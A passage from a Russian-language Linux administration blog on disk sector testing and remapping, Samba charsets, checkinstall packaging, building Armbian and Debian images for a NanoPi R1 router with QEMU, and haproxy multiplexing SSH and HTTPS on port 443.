Num  Test_Description    Status                  Remaining  LifeTime(hours)  LBA_of_first_error
# 1  Extended offline    Completed: read failure       90%     28243         1048784

Также можно протестировать только часть диска. Команда:

sudo smartctl -t select,10-20 /dev/sdc

протестирует сектора с 10 по 20 включительно.
Кроме того, можно одной командой протестировать несколько диапазонов:

sudo smartctl -t select,0-10 -t select,5-15 -t select,10-20 /dev/sdc

Запустить foreground тест можно, указав опцию -C:

sudo smartctl -t  long -C /dev/sdc

Короткий foreground тест, который принудительно обновит значения параметров SMART можно запустить так:

sudo smartctl -t offline /dev/sda

Утилиты sg_verify и sg_reasign

Пакет утилит sg3-utils предназначен для работы с дисками на низком уровне, поддерживающими полный набор команд SCSI. В настоящее время - это диски с интерфейсом SAS (но не SATA).
Обнаружить нечитающийся сектор можно, например, с помощью команды dd:

sudo dd if=/dev/sdb of=/dev/null bs=4096

Затем, когда dd сообщит об ошибке, с помощью sg_verify можно удостовериться, что проблема именно в том секторе:

sudo sg_verify --lba=1193046 /dev/sdb
verify (10):  Fixed format, current;  Sense key: Medium Error
Additional sense: Unrecovered read error
Info fld=0x123456 [[1193046]]
Field replaceable unit code: 228
Actual retry count: 0x008b
medium or hardware error, reported lba=0x123456

Зетем можно проверить, что размер GLIST не очень велик и там есть место:

sudo sg_reassign --grown /dev/sdb
>> Elements in grown defect list: 0

Теперь можно выполнить переназначкение сектора и проверить, что размер GLIST изменился:

sudo sg_reassign --address=1193046 /dev/sdb
sudo sg_reassign --grown /dev/sdb
>> Elements in grown defect list: 1

Размер GLIST изменился на 1 - чего и следовало ожидать. В результате в переназначаемом секторе будет записан заданный производителем паттерн (либо - если сектор все-же удалось прочесть - его содержимое не изменится).
Также утилита sg_reassign может выполнить переназначение группы секторов.
Для дисков с интерфейсами SAS и SATA наборы команд для работы с переназначаемыми секторами различны. Диск с интерфейсом SAS (неважно подключен он к SATA или SAS контроллеру) способен безусловно переназначить группу секторов в резервную область независимо от того, читаемы сектора или нет. Использование sg_reasign для диска SATA скорее всего никакого эффекта не даст.

Переназначение секторов для дисков с интерфейсом SATA

Для переназначения секторов на дисках с интерфейсом SATA можно просто дать команду на перезапись этого сектора, либо воспользоваться hdparm:

sudo hdparm --repair-sector

или

sudo hdparm --write-sector

Принципиальная разница между дисками SAS и SATA в том, что случае SAS можно принудительно переназначить даже хороший сектор, а в случае SATA переназначение при записи принимает контроллер диска. При этом,этот вариант годится для обоих интерфейсов:

sudo hdparm --repair-sector 1000 /dev/sda

или для группы секторов:

for i in {1000..2000}; do sudo hdparm --repair-sector $i /dev/sda; done

Аналог MHDD под Linux

С удивлением обнаружил наличие под Linux некоторого аналога (по крайней мере визуально) популярной программы под DOS - MHDD.
Речь идет об утилите, входящей в состав SystemRescueCd - whdd.

русские-буквы-в-названиях-шар-samba

anonymous@undisclosed.example.com (Anonymous) — Tue, 12 Nov 2019 09:20:59 +0000

Случаются проблемы с отображением русских имён файлов и папок при переносе физического тома NTFS или VFAT с Windows на Linux и расшаривании папок этого тома с помощью samba. Для того, чтобы русские имена на шарах виндовых томов отображались корректно в /etc/samba/smbd.conf должны быть такие строки:

dos charset = CP866
unix charset = KOI8-R
display charset = KOI8-R

В результате - можно монтировать виндовый том прям в linux, расшаривать его самбой и русские имена файлов и папок будут на клиентах отображаться нормально.

сборка_пакетов_из_исходников_с_помощью_checkinstall

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Сборка пакетов deb, rpm из исходников

Для сборки установочных пакетов из исходников есть замечательная утилита checkinstall. В двух словах - процесс сборки пакета из исходника заключается в следующем. Нужно добиться нормальной компиляции софтины их исходников, а потом запустить в директории с исходниками checkinstall с нужными аргументами. Для начала ставим сам checkinstall:

sudo apt-get install checkinstall

Например, вот так я собирал xorgrdp и xrdp:

cd xrdp-0.9.2
sudo checkinstall --type=debian --install=no --default --pkgname=xrdp --pkgversion=0.9.2 --pkgsource=https://github.com/neutrinolabs/xrdp --pakdir=~/ --maintainer=mike@autosys.tk --autodoinst=yes 
cd ..
cd xorgxrdp-0.2.1
sudo checkinstall --type=debian --install=no --default --pkgname=xorgxrdp --pkgversion=0.2.1 --pkgsource=https://github.com/neutrinolabs/xorgxrdp/ --pakdir=~/ --maintainer=mike@autosys.tk --autodoinst=yes

сборка_системы_для_arm-роутера_на_pc

anonymous@undisclosed.example.com (Anonymous) — Tue, 17 Nov 2020 18:28:35 +0000

У меня есть такой роутер: Nano Pi R1 и я бы хотел собрать для него образ https://freedombox.org/ FreedomBox.
И собирать его я бы хотел на PC.
Вот тут много информации (хотя и не всегда свежей) о сборке и загрузке debian на платформах Allwinner - https://wiki.debian.org/InstallingDebianOn/Allwinner.
Тем, кому не хочется ничего собирать - https://www.armbian.com/nanopi-r1/ и если хочется, но не вдаваясь в подробности - https://github.com/armbian/build

Armbian

При попытке загрузить образ Armbian_20.02.1_Nanopi-r1_buster_current_5.4.20.img система останавливалась при попытке распаковать ядро:

Starting kernel ...

Uncompressing Linux... done, booting the kernel.

В итоге Armbian удалось загрузить так:

Берем официальный образ nanopi-r1_sd_friendlycore-xenial_4.14_armhf_20191219.img. На нем три раздела. Подключаем loop-device и потом монтируем куда-то:
```
 sudo partx -a -v ./nanopi-r1_sd_friendlycore-xenial_4.14_armhf_20191219.img
```
Берем образ armbian и также подключаем его как loop-device.
Берем с образа armbian из директории boot файлики zImage и initrd (вернее файлики на которые указывают эти симлинки), а также sun8i-h3-nanopi-r1.dtb и переносим их на официальный образ в раздел boot (заменив старые). Переименовываем initrd - на официальном образе он называется rootfs.cpio.gz. Остальные dtb с официального образа удаляем, во избежание путаницы.
На официальном образе удаляем всё с раздела rootfs.
Переносим всю файловую систему с единственного раздела образа armbian на раздел rootfs официального образа:
```
sudo rsync -av ./source ./destination
```
Отмонтируем loop-устройства и заливаем официальный образ (c ядром, initrd и файловой системой от armbian), на флеху.

Для сборки загружающегося образа я сделал скриптец:

#!/bin/bash
armbian_img='Armbian_20.05.0-trunk_Nanopi-r1_bionic_current_5.4.32.img'
friendlyarm_img='nanopi-r1_sd_friendlycore-xenial_4.14_armhf_20191219.img'

echo 'Copying Original FriendlyARM image...'
cp $friendlyarm_img "Armbian_bootable.img"

mkdir ./original_armbian
mkdir ./bootable_armbian_boot
mkdir ./bootable_armbian_rootfs

armbian_offset=`/sbin/fdisk -lu $armbian_img | grep ${armbian_img}1 | awk '{ print $2}'`

echo "Armbian partition Offset - " $(( $armbian_offset * 512 ))

mount -o loop,offset=$(($armbian_offset * 512)) $armbian_img ./original_armbian

friendlyarm_boot_offset=`/sbin/fdisk -lu $friendlyarm_img | grep ${friendlyarm_img}1 | awk '{ print $2}'`
friendlyarm_rootfs_offset=`/sbin/fdisk -lu $friendlyarm_img | grep ${friendlyarm_img}2 | awk '{ print $2}'`

mount -o loop,offset=$(($friendlyarm_boot_offset * 512)) ./Armbian_bootable.img ./bootable_armbian_boot

echo "Copying kernel..."
cp -L ./original_armbian/boot/zImage ./bootable_armbian_boot/zImage

echo "Copying initrd..."
cp -L ./original_armbian/boot/uInitrd ./bootable_armbian_boot/rootfs.cpio.gz

echo "Copying DTB"
rm -f ./bootable_armbian_boot/sun8i*.dtb
cp ./original_armbian/boot/dtb/sun8i-h3-nanopi-r1.dtb ./bootable_armbian_boot/

umount ./bootable_armbian_boot

mount -o loop,offset=$(($friendlyarm_rootfs_offset * 512)) ./Armbian_bootable.img ./bootable_armbian_rootfs
rm -Rf ./bootable_armbian_rootfs/*

echo "Copying rootfs"
rsync -a ./original_armbian/ ./bootable_armbian_rootfs/
rm -rf ./bootable_armbian_rootfs/boot/*

umount ./bootable_armbian_rootfs
umount ./original_armbian

echo 'Done!'

Проблемы

В один прекрасный момент интернет, который раздавал этот роутер отвалился. В журнале обнаружилось вот что:

[482827.380398] ------------[ cut here ]------------
[482827.380448] WARNING: CPU: 0 PID: 0 at net/sched/sch_generic.c:448 dev_watchdog+0x213/0x214
[482827.380459] NETDEV WATCHDOG: eth1 (r8152): transmit queue 0 timed out
[482827.380466] Modules linked in: nft_masq nft_nat nft_chain_nat nf_nat nft_counter nft_ct nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables_set nf_tables nfnetlink evdev brcmfmac brcmutil cfg80211 lima sun8i_codec_analog snd_soc_simple_card sun4i_gpadc_iio sun8i_adda_pr_regmap sun4i_i2s snd_soc_simple_card_utils gpu_sched rfkill snd_soc_core industrialio snd_pcm_dmaengine sun8i_thermal snd_pcm cdc_ether snd_timer usbnet option snd r8152 soundcore usb_wwan usbserial sunxi_cedrus(C) v4l2_mem2mem uio_pdrv_genirq gpio_keys uio cpufreq_dt zram sch_fq_codel usb_f_acm u_serial g_serial libcomposite ip_tables x_tables pwrseq_simple uas realtek
[482827.380668] CPU: 0 PID: 0 Comm: swapper/0 Tainted: G         C        5.4.32-sunxi #trunk
[482827.380674] Hardware name: Allwinner sun8i Family
[482827.380717] [<c010da8d>] (unwind_backtrace) from [<c010a0ad>] (show_stack+0x11/0x14)
[482827.380745] [<c010a0ad>] (show_stack) from [<c0951e8f>] (dump_stack+0x6f/0x7c)
[482827.380775] [<c0951e8f>] (dump_stack) from [<c011b5ff>] (__warn+0xb7/0xb8)
[482827.380799] [<c011b5ff>] (__warn) from [<c011b8ab>] (warn_slowpath_fmt+0x5f/0x74)
[482827.380822] [<c011b8ab>] (warn_slowpath_fmt) from [<c085019b>] (dev_watchdog+0x213/0x214)
[482827.380848] [<c085019b>] (dev_watchdog) from [<c01720c3>] (call_timer_fn+0x27/0x128)
[482827.380869] [<c01720c3>] (call_timer_fn) from [<c0172c3d>] (run_timer_softirq+0x3f9/0x418)
[482827.380891] [<c0172c3d>] (run_timer_softirq) from [<c01022f7>] (__do_softirq+0xdf/0x288)
[482827.380912] [<c01022f7>] (__do_softirq) from [<c0120353>] (irq_exit+0x7b/0x90)
[482827.380938] [<c0120353>] (irq_exit) from [<c0160517>] (__handle_domain_irq+0x47/0x84)
[482827.380968] [<c0160517>] (__handle_domain_irq) from [<c05e3bed>] (gic_handle_irq+0x39/0x6c)
[482827.380992] [<c05e3bed>] (gic_handle_irq) from [<c0101ae5>] (__irq_svc+0x65/0x94)
[482827.381002] Exception stack(0xc0f01f20 to 0xc0f01f68)
[482827.381022] 1f20: 00000000 54e7da08 ef69ff34 c0116341 ffffe000 c0f04f68 c0f04fb0 00000001
[482827.381041] 1f40: c0f04f48 00000000 c0ec48f0 c0ff67f6 ffffffff c0f01f70 c010792f c0107930
[482827.381050] 1f60: 40070033 ffffffff
[482827.381074] [<c0101ae5>] (__irq_svc) from [<c0107930>] (arch_cpu_idle+0x28/0x2c)
[482827.381100] [<c0107930>] (arch_cpu_idle) from [<c013fa47>] (do_idle+0x15b/0x1cc)
[482827.381121] [<c013fa47>] (do_idle) from [<c013fcb1>] (cpu_startup_entry+0x19/0x20)
[482827.381146] [<c013fcb1>] (cpu_startup_entry) from [<c0e00c6d>] (start_kernel+0x3fb/0x40c)
[482827.381158] ---[ end trace df317a78f05c9e9f ]---

Ядро: Linux nanopi-r1 5.4.32-sunxi #trunk SMP Sat Apr 25 21:48:40 UTC 2020 armv7l armv7l armv7l GNU/Linux

Сборка Armbian

/home/mike/build/userpatches/config-example.conf

./compile.sh  BOARD=nanopi-r1 BRANCH=dev RELEASE=buster BUILD_MINIMAL=no BUILD_DESKTOP=no KERNEL_ONLY=no KERNEL_CONFIGURE=yes

или так:

./compile.sh  BOARD=nanopi-r1 BRANCH=current RELEASE=buster BUILD_MINIMAL=no BUILD_DESKTOP=no KERNEL_ONLY=no KERNEL_CONFIGURE=no

На NanoPi R1 у меня работает вот так собранный Armbian:

sudo ./compile.sh  BOARD=nanopi-r1 BRANCH=current RELEASE=bionic BUILD_MINIMAL=no BUILD_DESKTOP=no KERNEL_ONLY=no KERNEL_CONFIGURE=no

Cобрать образ armbian с какой-то конкрентной версией ядра

Нужно добавить строку вида:

KERNELBRANCH='tag:v4.14.52'

в файл build/userpatches/lib.config

echo 'KERNELBRANCH="branch:orange-pi-5.7"' > ./build/userpatches/lib.config

Подробнее тут - https://forum.armbian.com/topic/10427-specific-kernel-build/
Чтобы выяснить - откуда берутся сорцы ядра и какие там есть бранчи или теги идем в файлик конфига нашего устройства, например, сюда ./config/boards/nanopi-r1.conf.
Там видим - BOARDFAMILY=“sun8i”
Значит дальше идем сюда: ./config/sources/families/sun8i.conf.
Там видим: source “${BASH_SOURCE%/*}/include/sunxi_common.inc”
И далее смотрим сюда: config/sources/families/include/sunxi_common.inc и видим такое:

case $BRANCH in
        legacy)

                KERNELSOURCE="https://github.com/megous/linux"
                KERNELBRANCH="branch:orange-pi-5.4"
                KERNELPATCHDIR='sunxi-'$BRANCH

        ;;

        current)

                KERNELSOURCE="https://github.com/megous/linux"
                KERNELBRANCH="branch:orange-pi-5.8"
                KERNELPATCHDIR='sunxi-'$BRANCH

        ;;

        dev)

                KERNELSOURCE="https://github.com/megous/linux"
                KERNELBRANCH="branch:orange-pi-5.9"
                KERNELPATCHDIR='sunxi-'$BRANCH
                BOOTBRANCH='tag:v2020.07'

        ;;
esac

Тут видно откуда берутся исходники и какие бранчи скрываются за псевдонимами (legacy, current, dev).

Сборка ядра и u-boot для Nano Pi R1 (Allwinner H3)

http://wiki.friendlyarm.com/wiki/index.php/Building_U-boot_and_Linux_for_H5/H3/H2%2B
Ставим софт:

apt-get install git swig python-dev python3-dev build-essential bc bison flex u-boot-tools screen gcc-arm-linux-gnueabi libncurses-dev

Распаковываем тулчейн (его можно найти тут):

tar xf arm-cortexa9-linux-gnueabihf-4.9.3-20160512.tar.xz -C /opt/FriendlyARM/toolchain/
export PATH=/opt/FriendlyARM/toolchain/4.9.3/bin:$PATH
export GCC_COLORS=auto
. ~/.bashrc
arm-linux-gcc -v

Собираем U-Boot

cd ~
git clone https://github.com/friendlyarm/u-boot.git -b sunxi-v2017.x --depth 1
cd u-boot/
make nanopi_h3_defconfig ARCH=arm CROSS_COMPILE=arm-linux-
make ARCH=arm CROSS_COMPILE=arm-linux-

в результате получится файлик u-boot-sunxi-with-spl.bin, который можно записать на SD-карточку:

dd if=u-boot-sunxi-with-spl.bin of=/dev/sdX bs=1024 seek=8

Собираем ядро

Вариантов пара - собрать то что предлагает FriendlyARM, либо mainline kernel.
В конце концов, я пришел к тому, что собрать придется оба ядра!
Mainline - новое и хорошее, при его работе (в по крайней мере под qemu) не возникает некоторых ошибок типа:

thermal thermal_zone0: failed to read out thermal zone (-16)

Зато с ядром от FriendlyARM собираются родные для этих устройств файлы DTB.

Ядро от FriendlyARM - 4.14

cd ~
git clone https://github.com/friendlyarm/linux.git -b sunxi-4.14.y --depth 1
cd linux
touch .scmversion
make sunxi_defconfig ARCH=arm CROSS_COMPILE=arm-linux-
make zImage dtbs ARCH=arm CROSS_COMPILE=arm-linux-

Теперь образы ядра и файлики dtb можно скопировать на загрузочный разле флехи:

cp arch/arm/boot/zImage /media/SD/boot/
cp arch/arm/boot/dts/sun8i-*-nanopi-*.dtb /media/SD/boot/

Теперь соберем модули:

cd ~/linux
make modules ARCH=arm CROSS_COMPILE=arm-linux-

и скопируем их на флеху. Считаем, что корневой раздел системы смонтирован в /media/SD/rootfs/:

cd ~/linux
make modules_install INSTALL_MOD_PATH=/media/SD/rootfs/ ARCH=arm CROSS_COMPILE=arm-linux-

Ядро Mainline

git clone https://github.com/torvalds/linux.git -b master --depth 1 mainline_linux
cd mainline_linux

Вот тут написано, что под orangepi ядро надо собирать с помощью arm-linux-gnueabi-, однако у FriendlyARM написано, что с помощью arm-linux- из их тулчейна. Я буду собирать с arm-linux-. Хотя, в чем именно разница - я не знаю, по крайней мере пока.
Для начала - скопируем файлик sunxi_defconfig, который идет с ядром от FriendlyARM, в mainline:

cp ./linux/arch/arm/configs/sunxi_defconfig ./mainline_linux/arch/arm/configs/sunxi_defconfig

Также, в mainline может не быть исходников некоторых модулей. Скопируем их:

cp ./linux/drivers/net/ethernet/allwinner/* ./mainline_linux/drivers/net/ethernet/allwinner/

export PATH=/opt/FriendlyARM/toolchain/4.9.3/bin:$PATH
export GCC_COLORS=auto
ARCH=arm CROSS_COMPILE=arm-linux- make mrproper
make sunxi_defconfig ARCH=arm CROSS_COMPILE=arm-linux-
make ARCH=arm CROSS_COMPILE=arm-linux-

И соберем модули:

make modules ARCH=arm CROSS_COMPILE=arm-linux-

Запуск в эмуляторе

Вот тут страничка qemu-system-arm, посвященная эмуляции OrangePi (который тоже на Allwinner H3): https://www.qemu.org/docs/master/system/arm/orangepi.html
Судя по обсуждениям патчей поддержка эмуляции машин на Allwinner H3 появилась совсем недавно - в конце 2019 года.
Вот тут описан запуск собранного u-boot и ядра:
https://dev.to/rulyrudel/how-to-execute-u-boot-on-qemu-system-arm-2b22
https://pandysong.github.io/blog/post/run_u-boot_in_qemu/

Собираем последний qemu

https://www.qemu.org/download/#source

cd ~
apt-get install git build-essential zlib1g-dev pkg-config libglib2.0-dev binutils-dev libboost-all-dev autoconf libtool libssl-dev libpixman-1-dev libpython-dev python-pip python-capstone virtualenv
git clone https://git.qemu.org/git/qemu.git
cd qemu
git submodule init
git submodule update --recursive
./configure
make

Теперь можно посмотреть список машин, который поддерживается и попробывать запустить собранное ядро или u-boot:

cd ~
./qemu/arm-softmmu/qemu-system-arm -machine help | grep orangepi
...
./qemu/arm-softmmu/qemu-system-arm -M orangepi-pc -nic user -nographic \
    kernel ./linux/arch/arm/boot/zImage \
    -append 'console=ttyS0,115200' \
    -dtb ./linux/arch/arm/boot/dts/sun8i-h3-nanopi-r1.dtb

Так как никакой корневой файловой системы у нас нет, то всё закончится так:

.....
[    4.075519] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)

Но ядро запустилось!

Сборка образа минимальной системы debian

https://wiki.debian.org/EmDebian/CrossDebootstrap#Cross-installing_Debian_using_debootstrap.2Fmultistrap

https://wiki.debian.org/Multistrap
https://manpages.debian.org/jessie/multistrap/multistrap.1
https://gitlab.mister-muffin.de/josch/multistrap/commit/b54b65b9f73bdb97d9c2486f0eb021b2b1a2d30e

sudo apt-get install multistrap kpartx qemu qemu-user-static binfmt-support dpkg-cross

Создаем образ флехи

 cd ~
fallocate -l 4G debian-stable.img
disk='debian-stable.img'
sgdisk --zap-all $disk
sgdisk --mbrtogpt --clear $disk
sgdisk --new=1:2048:+64Mib $disk
sgdisk --typecode=1:8300 $disk
sgdisk -N0 $disk
sgdisk --typecode=2:8300 $disk

Создадим loop-устройства и обнаружим на них партиции:

sudo kpartx -v -a ./debian-stable.img

В выводе будет что-то такое:

add map loop4p1 (253:2): 0 524289 linear 7:4 2048
add map loop4p2 (253:3): 0 7860191 linear 7:4 528384

Отформатируем эти партиции, создадим точки монтирования и смонтируем их!

sudo mkfs.ext4 /dev/mapper/loop4p2
sudo mkfs.ext2 /dev/mapper/loop4p1
mkdir debian-stable
sudo mount  /dev/mapper/loop4p2 ./debian-stable
sudo mkdir ./debian-stable/boot
sudo mount  /dev/mapper/loop4p1 ./debian-stable/boot

Заливка минимальной системы debian

Для создания системы я применю Multistrap.

./debian-stable.conf

Минимальный конфигурационный файлик Multistrap

[General]
unpack=true
bootstrap=Debian
aptsources=Debian
#cleanup=true

[Debian]
packages=systemd libnss-systemd libpam-systemd dbus default-dbus-session-bus
source=http://ftp.ru.debian.org/debian
keyring=debian-archive-keyring
suite=stable

Заливаем систему

Теперь на смонтированные разделы нашего файла-образа я залью минимальную систему debian.

sudo multistrap -a armhf -d ./debian-stable -f ./debian-stable.conf

При попытке собрать файловую систему появляется ошибка:

E: The repository 'http://ftp.ru.debian.org/debian buster InRelease' is not signed.

Причина в том, что в скрипте multistrap некорректно устанавливается значение опции AllowUnauthenticated. Описано тут: https://github.com/volumio/Build/issues/348#issuecomment-462271607
Патчим multistrap:

sudo sed -i 's/Apt::Get::AllowUnauthenticated=true/Acquire::AllowInsecureRepositories=true/g'  /usr/sbin/multistrap

и пробуем снова (в конфигурации должна быть опция keyring=debian-archive-keyring, а noauth=true быть не должно!):

sudo multistrap -a armhf -d ./debian-stable -f ./debian-stable.conf

В результате всё получается и в директории ./debian-stable (куда смонтирован второй раздел файлика-образа) мы наблюдаем корневую файловую систему текущей стабильной версии Debian для архитектуры armhf.

Первичная конфигурация пакетов

Запускать в chroot исполняемые файлы для архитектуры arm нам позволят ранее установленные в хостовой системе пакеты qemu-user-static, binfmt-support и dpkg-cross.
Подключим /dev (что необходимо для работы с /dev/null и /dev/urandom) и настроим пакеты:

sudo mount -o bind /dev/ ./debian-stable/dev/
sudo LC_ALL=C LANGUAGE=C LANG=C DEBIAN_FRONTEND=noninteractive chroot debian-stable bash -c 'echo "dash dash/sh boolean false" | debconf-set-selections &&  dpkg --configure -a'

Для настройки некоторых пакетов нужно задать пароль root:

sudo chroot debian-stable/ passwd

Теперь донастроим оставшиеся пакеты:

sudo LC_ALL=C LANGUAGE=C LANG=C DEBIAN_FRONTEND=noninteractive chroot debian-stable dpkg --configure -a

Теперь скопируем ядро и dtb:

sudo cp ./mainline_linux/arch/arm/boot/zImage ./debian-stable/boot/
sudo cp ./mainline_linux/arch/arm/boot/dts/sun8i-h3-nanopi-r1.dt* ./debian-stable/boot/

Дальше нужно перенести в систему модули ядра, которые мы собрали раньше:

cd ./mainline_linux
sudo PATH=/opt/FriendlyARM/toolchain/4.9.3/bin:$PATH make modules_install INSTALL_MOD_PATH=../debian-stable ARCH=arm CROSS_COMPILE=arm-linux-

Теперь можно сделать файлик /etc/fstab. Для этого - посмотрим UUID партиций и создадим /etc/fstab:

blkid /dev/mapper/loop4p1
/dev/mapper/loop4p1: UUID="85b026f4-afd7-4ecf-8679-dd0c87e628bb" TYPE="ext2" PARTUUID="f9c59bb5-1bde-441b-8e5a-9eeff8e77693"
blkid /dev/mapper/loop4p2
/dev/mapper/loop4p2: UUID="683177df-8d27-4733-a490-c8e69fb0b525" TYPE="ext4" PARTUUID="9faf1102-5994-4226-ac73-adc6b6e4e043"

В итоге /etc/fstab будет такой:

UUID=683177df-8d27-4733-a490-c8e69fb0b525   /      ext4   defaults,discard,noatime,nodiratime   0   1
UUID=85b026f4-afd7-4ecf-8679-dd0c87e628     /boot  ext2   defaults,discard,noatime,nodiratime   0   1

Заменим дефолтный target:

sudo rm -f ./debian-stable/etc/systemd/system/default.target
sudo ln -s /lib/systemd/system/multi-user.target ./debian-stable/etc/systemd/system/default.target

И создадим симлинк для того, чтобы появилось устройство ttyS0:

sudo ln -s /lib/systemd/system/getty@.service ./debian-stable/etc/systemd/system/getty.target.wants/getty@ttyS0.service

Если этого не сделать - будут ошибки типа:

[  *** ] A start job is running for /dev/ttyS0 (1min 29s / 1min 30s)
[ TIME ] Timed out waiting for device /dev/ttyS0.
[DEPEND] Dependency failed for Serial Getty on ttyS0.

Отмонтируем файл-образ и попробуем запуститься

cd ~
sudo umount ./debian-stable/boot
sudo umount ./debian-stable

Удалим loop-устройства:

sudo kpartx -d ./debian-stable.img

И попробуем запуститься с ядром mainline и dtb из поставки ядра от FriendlyARM!

./qemu/arm-softmmu/qemu-system-arm -M orangepi-pc \
-nic user -nographic -kernel ./mainline_linux/arch/arm/boot/zImage  \
-append 'console=ttyS0,115200 root=/dev/mmcblk0p2' \
-dtb ./linux/arch/arm/boot/dts/sun8i-h3-nanopi-r1.dtb \
-sd ./debian-stable.img

В итоге - не смотря на некоторые ошибки с сервисами systemd, система смогла загрузиться, а я смог в нее залогиниться с паролем, заданным на этапе создания образа.

Загрузка системы на реальной железке

Самым логичным способом, чтобы настройки загрузки на флехе соотвествовали настройкам U-Boot в железке, было бы взять образ флехи от производителя (например с ubuntu xenial), подмонтировать его и заменить файлик ядра и корневую файловую систему.
Я так и поступил.

Но можно пойти трудным путем и пытаться сделать все вручную.

Исследование конфигурации U-Boot

Судя по начальным сообщениям:

DRAM: 1024 MiB(408MHz)
CPU Freq: 408MHz
memory test: 1
Pattern 55aa  Writing...Reading...OK
Trying to boot from MMC2
Boot device: emmc


U-Boot 2017.11 (Oct 18 2019 - 02:50:31 +0800) Allwinner Technology

CPU:   Allwinner H3 (SUN8I 1680)
Model: FriendlyElec NanoPi H3
DRAM:  1 GiB
CPU Freq: 1008MHz
MMC:   SUNXI SD/MMC: 1, SUNXI SD/MMC: 0
*** Warning - bad CRC, using default environment

И судя по тому, что начинает загружаться предустановленная система - я что-то сделал не так.
Наверное надо взять официальный образ и посмотреть что внутри.
Кстати, в выводе printenv некоторые особенности. Чтобы printenv выводил длинные строки целиком необходимо в терминале включить wrapping в minicom это можно сделать нажав Ctrl-A, затем Z и затем W.

arch=arm
baudrate=115200
board=nanopi-r1
board_name=sunxi
boot_a_script=load ${devtype} ${devnum}:${distro_bootpart} ${scriptaddr} ${prefix}${script}; source ${scriptaddr}
boot_efi_binary=if fdt addr ${fdt_addr_r}; then bootefi bootmgr ${fdt_addr_r};else bootefi bootmgr ${fdtcontroladdr};fi;load ${devtype} ${devnum}:${distro_bootpart} ${kernel_addr_r} efi/booti
boot_extlinux=sysboot ${devtype} ${devnum}:${distro_bootpart} any ${scriptaddr} ${prefix}extlinux/extlinux.conf
boot_mmc=2
boot_net_usb_start=usb start
boot_prefixes=/ /boot/
boot_script_dhcp=boot.scr.uimg
boot_scripts=boot.scr.uimg boot.scr
boot_targets=fel mmc_auto usb0 pxe dhcp 
bootcmd=fatload mmc 0:1 ${scriptaddr} boot.scr; source ${scriptaddr}
bootcmd_dhcp=run boot_net_usb_start; if dhcp ${scriptaddr} ${boot_script_dhcp}; then source ${scriptaddr}; fi;setenv efi_fdtfile ${fdtfile}; if test -z "${fdtfile}" -a -n "${soc}"; then sete;
bootcmd_fel=if test -n ${fel_booted} && test -n ${fel_scriptaddr}; then echo '(FEL boot)'; source ${fel_scriptaddr}; fi
bootcmd_mmc0=setenv devnum 0; run mmc_boot
bootcmd_mmc1=setenv devnum 1; run mmc_boot
bootcmd_mmc_auto=run bootcmd_mmc0
bootcmd_pxe=run boot_net_usb_start; dhcp; if pxe get; then pxe boot; fi
bootcmd_usb0=setenv devnum 0; run usb_boot
bootdelay=2
bootm_size=0xa000000
console=ttyS0,115200
cpu=h3
dfu_alt_info_ram=kernel ram 0x42000000 0x1000000;fdt ram 0x43000000 0x100000;ramdisk ram 0x43300000 0x4000000
distro_bootcmd=for target in ${boot_targets}; do run bootcmd_${target}; done
efi_dtb_prefixes=/ /dtb/ /dtb/current/
ethaddr=02:81:8a:99:42:c5
fdt_addr_r=0x43000000
fdtcontroladdr=7bf4fa48
fdtfile=sun8i-h3-nanopi-m1-plus.dtb
kernel_addr_r=0x42000000
load_efi_dtb=load ${devtype} ${devnum}:${distro_bootpart} ${fdt_addr_r} ${prefix}${efi_fdtfile}
mmc_boot=if mmc dev ${devnum}; then setenv devtype mmc; run scan_dev_for_boot_part; fi
mmc_bootdev=1
preboot=usb start
pxefile_addr_r=0x43200000
ramdisk_addr_r=0x43300000
scan_dev_for_boot=echo Scanning ${devtype} ${devnum}:${distro_bootpart}...; for prefix in ${boot_prefixes}; do run scan_dev_for_extlinux; run scan_dev_for_scripts; done;run scan_dev_for_efi;
scan_dev_for_boot_part=part list ${devtype} ${devnum} -bootable devplist; env exists devplist || setenv devplist 1; for distro_bootpart in ${devplist}; do if fstype ${devtype} ${devnum}:${die
scan_dev_for_efi=setenv efi_fdtfile ${fdtfile}; if test -z "${fdtfile}" -a -n "${soc}"; then setenv efi_fdtfile ${soc}-${board}${boardver}.dtb; fi; for prefix in ${efi_dtb_prefixes}; do if te
scan_dev_for_extlinux=if test -e ${devtype} ${devnum}:${distro_bootpart} ${prefix}extlinux/extlinux.conf; then echo Found ${prefix}extlinux/extlinux.conf; run boot_extlinux; echo SCRIPT FAILi
scan_dev_for_scripts=for script in ${boot_scripts}; do if test -e ${devtype} ${devnum}:${distro_bootpart} ${prefix}${script}; then echo Found U-Boot script ${prefix}${script}; run boot_a_scre
scriptaddr=0x43100000
serial#=02c000818a9942c5
soc=sunxi
stderr=serial
stdin=serial,usbkbd
stdout=serial
usb_boot=usb start; if usb dev ${devnum}; then setenv devtype usb; run scan_dev_for_boot_part; fi
wifi_mac_node=[2 c5 42 99 8a 81]

Во-первых - DTB не от nanopi-r1, а sun8i-h3-nanopi-m1-plus.dtb

совсем-разные-сервисы-https-ssl-и-ssh-на-одном-порту

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Задача

Нужно запустить на одном порту 443 сервер SSH и HTTPS SSL. На первый взгляд - невозможно. Но на самом деле есть же прекрасный балансировщик haproxy.

Первый вариант

Haproxy позволяет проверить, является-ли полученный запрос SSL-запросом или нет и есть нет, то отправляем его на сервер SSH.

defaults
  timeout connect 5s
  timeout client 50s
  timeout server 20s

listen ssl :443
  tcp-request inspect-delay 2s
  acl is_ssl req_ssl_ver 2:3.1
  tcp-request content accept if is_ssl
  use_backend ssh if !is_ssl
  server www-ssl :444
  timeout client 2h

backend ssh
  mode tcp
  server ssh :22
  timeout server 2h

Тут строка acl is_ssl req_ssl_ver 2:3.1 проверяет запрос SSL или нет.
а если не SSL, то строка use_backend ssh if !is_ssl отправляет на бекенд с SSH.

Второй вариант

Описан тут: https://blog.chmd.fr/ssh-over-ssl-episode-4-a-haproxy-based-configuration.html
В данном случае - на фронтэнде проверяется содержимое запроса клиента, и если он начинается с SSH-2.0 (в hex-представлении - 5353482d322e30, конвертировать ТУТ ), то сессия направляется на SSH-сервер.

backend secure_http
    reqadd X-Forwarded-Proto:\ https
    rspadd Strict-Transport-Security:\ max-age=31536000
    mode http
    option httplog
    option forwardfor
    server local_http_server 127.0.0.1:80

backend ssh
    mode tcp
    option tcplog
    server ssh 127.0.0.1:22
    timeout server 2h

